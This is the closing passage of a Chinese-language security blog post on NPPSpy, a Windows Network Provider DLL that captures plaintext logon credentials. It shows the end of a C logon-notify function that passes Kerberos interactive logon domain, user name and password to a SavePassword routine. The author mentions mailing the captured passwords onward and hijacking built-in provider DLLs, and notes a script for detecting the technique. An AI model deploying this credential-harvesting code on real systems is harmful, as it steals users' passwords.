        SavePassword(
            &(((_KERB_INTERACTIVE_LOGON*)lpAuthInfo)->LogonDomainName),
            &(((_KERB_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
            &(((_KERB_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
        );
    }

    lpLogonScript = NULL;
    return WN_SUCCESS;
}

虽然我加上了 Kerberos:Interactive 的处理,但是经过我实测,作者的在NPPSpy.c中,只处理 MSV1_0:Interactive,也是可以抓到在该机器上,第一次登录的域账号和密码的。所以,这个Kerberos:Interactive 到底啥时候会生效,我也不清楚。。。希望有了解的大神可以解答一下。

0x06 后言

处于实战的场景考虑,本来还想加上 NPPasswordChangeNofity 搞搞自动发邮件什么的,但是本文篇(zhu)幅(yao)太(shi)长(lang)了,而且 mimikatz 已经内置了:https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/knp.c 。所以本次分享到此为止了,希望能帮助到有需要的人。

当然,还有很多可以思考的地方,比如说,dll 是不是只能放在 C:\windows\system32 下?能不能修改自带 ProviderOrder(lanmanWorkStations、webclient等等) 对应的dll啊,等等。

最后就是作者提供的Get-NetworkProviders.ps1,能查看所有的 Network Provider 的 DLL 和对应的签名,来辅助排查是否遭受过该攻击。

都看到这里了,不管你是直接拉到底的,还是看到底的,要不辛苦一下,给点个推荐呗?

最后修改:2022 年 01 月 20 日 10 : 47 AM
如果觉得我的文章对你有用,请随意赞赏